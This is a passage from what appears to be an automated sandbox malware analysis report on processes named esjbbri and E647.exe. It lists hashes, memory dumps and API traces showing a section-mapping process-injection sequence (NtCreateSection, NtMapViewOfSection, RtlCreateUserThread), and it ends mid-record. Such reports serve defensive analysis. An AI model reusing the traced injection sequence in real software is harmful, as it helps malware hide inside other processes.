Instruction Fuzzy Hash: 08117C76340100AFDB44DF95ECC5FA673EEEB89260B198169E909CB716D675E802CBA0

Function 00403290 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137259113.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KTh1gQlT9a.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e274102659cc5964db6623cf4447b3957c7ecae9963d781930d0ebff3212451b
Instruction ID: 18a3bc8234d562e7f0c7d25340e1ec3d72d942eb246f5034c2dedc7c4f371e85
Opcode Fuzzy Hash: e274102659cc5964db6623cf4447b3957c7ecae9963d781930d0ebff3212451b
Instruction Fuzzy Hash: 3611E191D1C2820BDFA62E2048545B67F6C5A7335771840FFD401F62D6F13D1F02825A

Function 02600D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138650769.0000000002600000.00000040.00001000.00020000.00000000.sdmp, Offset: 02600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2600000_KTh1gQlT9a.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: d10e995d2db6a1428a3ef6daa5930c0b608f74a31719e55c82f14bd61f557778
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 6901A276A106048FDF25CF24C884BAB33E9EB86216F4544A5D90AA73C2E774A9818B90

Analysis Process: esjbbriPID: 3176, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	42.6%
Signature Coverage:	0%
Total number of Nodes:	122
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 746464f9963faf83baa7a7e4d1d503d9951592239326ed203a5fdafee77b7e4e
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 746464f9963faf83baa7a7e4d1d503d9951592239326ed203a5fdafee77b7e4e
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 304dad40bd57fde4ad2d107e796ee4bd6f67db99f64be0045c1c988ef19b7cdc
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 304dad40bd57fde4ad2d107e796ee4bd6f67db99f64be0045c1c988ef19b7cdc
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 581fa83bc263e791d9971d53db0324000e8585e44ca574a313370521a86a7cc8
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 581fa83bc263e791d9971d53db0324000e8585e44ca574a313370521a86a7cc8
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a43cc433937968852615b5a1196453d78d887ea4f5a0bea8b59419441baeb33d
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: a43cc433937968852615b5a1196453d78d887ea4f5a0bea8b59419441baeb33d
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 29d42f42a6cc8ee6b1305037c54c44870b6144e25efa99f681edebb2ee70e80b
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 29d42f42a6cc8ee6b1305037c54c44870b6144e25efa99f681edebb2ee70e80b
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 0252003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0252024D

Strings

kernel32.dll, xrefs: 0252008F, 02520095
cess, xrefs: 0252018D

Memory Dump Source

Source File: 00000004.00000002.2365221336.0000000002520000.00000040.00001000.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2520000_esjbbri.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 1e46428af89d03d9eea345c8977b0cf0df5e278e99040794962eefb35d28ee77
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 10525A75A01229DFDB64CF58C984BA8BBB1BF09314F1480D9E54DAB391DB30AA89CF14

Function 026DF236 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 026DF25E
Module32First.KERNEL32(00000000,00000224), ref: 026DF27E

Memory Dump Source

Source File: 00000004.00000002.2365373242.00000000026CD000.00000040.00000020.00020000.00000000.sdmp, Offset: 026CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_26cd000_esjbbri.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 78c155dd277cf891eb976f98064f162a9f62f7d55eaf1d6d146468a18cfa4788
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 19F096359007186FD7203BF9A8CDB6F76E8AF89625F100529E643D59C0DB70E8454AA1

Function 02520E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02520223,?,?), ref: 02520E19
SetErrorMode.KERNELBASE(00000000,?,?,02520223,?,?), ref: 02520E1E

Memory Dump Source

Source File: 00000004.00000002.2365221336.0000000002520000.00000040.00001000.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2520000_esjbbri.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a45cf177f0ecddc54456e47d672fa3adceeee364b8599841ec49e672e1a97264
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: E7D0123114512877D7002A94DC09BCD7F1CDF05B66F008011FB0DD90C0C770954046E9

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 026DEEF5 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 026DEF46

Memory Dump Source

Source File: 00000004.00000002.2365373242.00000000026CD000.00000040.00000020.00020000.00000000.sdmp, Offset: 026CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_26cd000_esjbbri.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: e67c518d724e1c1c32ca55d9673fa6b87e01bb27949707c0618f8dc84b153cd6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 15113979A00208EFDB01DF98C985E99BFF5AF08350F0580A4F9489B361D371EA90EF80

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000004.00000002.2364093854.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_esjbbri.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Analysis Process: E647.exePID: 4408, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	43.3%
Signature Coverage:	0%
Total number of Nodes:	120
Total number of Limit Nodes:	4

Executed Functions

Function 004014C4 Relevance: 10.8, APIs: 7, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4cfe7beb35eebf88c645a46c10bdf16ef044b5e65f6e3ad60f9fe20b10e07c2
Instruction ID: a2440897234d9063cbd2a71cb92c382042c3cd10596cdc4f18a7c269882a1901
Opcode Fuzzy Hash: a4cfe7beb35eebf88c645a46c10bdf16ef044b5e65f6e3ad60f9fe20b10e07c2
Instruction Fuzzy Hash: 0981D5B4504244FBDB208F95CC49FEB7BB8EF81740F20416BF902BA1E5D6749902DB66

Function 004015D5 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a048fff95c548b67d4af93e06dbb446bf3167c5580fcedad9e3c57286057ba63
Instruction ID: 5b275a0397ac31cab10c66c3112b8ecfdbc4447489e22d1c2cba3eb21d005058
Opcode Fuzzy Hash: a048fff95c548b67d4af93e06dbb446bf3167c5580fcedad9e3c57286057ba63
Instruction Fuzzy Hash: 8251F9B5900245BBEB208F91CC48FEF7BB8EF85710F10416AFA11BA2A5D7759941CB64

Function 004015DF Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7305ee3979d5b4667fc5844815bc59bb72ccff8572694ad63906bf8bfbab0545
Instruction ID: aa7ad941c6157971e71dc2736092b98b642c15495c2c07021be349f0f8194e9f
Opcode Fuzzy Hash: 7305ee3979d5b4667fc5844815bc59bb72ccff8572694ad63906bf8bfbab0545
Instruction Fuzzy Hash: 4D51FAB5900249BBEB208F91CC48FEF7BB8EF85710F10015AFA11BA2A5D7749945CB64

Function 004015F2 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6fcf8b22fbdcb8380d2881299c31f747d5ad1c4e66094b591aeffa0cf5ced54e
Instruction ID: 51677960ee3875d5e78d4b2c0b9a124aae989836c1cf5ff6a0c78d9f2f0b6c9a
Opcode Fuzzy Hash: 6fcf8b22fbdcb8380d2881299c31f747d5ad1c4e66094b591aeffa0cf5ced54e
Instruction Fuzzy Hash: 8E51FAB5900249BBEB208F91CC48FAFBBB8EF85710F10415AF911BA2A5D7759941CB64

Function 004015E6 Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040166F
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040169C
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016BF
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016DD
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040174F
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401771

Memory Dump Source

Source File: 00000006.00000002.2653902687.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_E647.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: da093589d2d920786b053f62cd85dab4a028aa54c55a505f1a39e86dd67689ba
Instruction ID: 771dbcf6e2504e630b0d67c3c545d31db11f89db77175d6a648901ef483dfe93
Opcode Fuzzy Hash: da093589d2d920786b053f62cd85dab4a028aa54c55a505f1a39e86dd67689ba
Instruction Fuzzy Hash: 5451F9B5900249BFEB208F91CC48FEFBBB8EF85B10F100159F911BA2A5D7709945CB64

Function 00403043 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

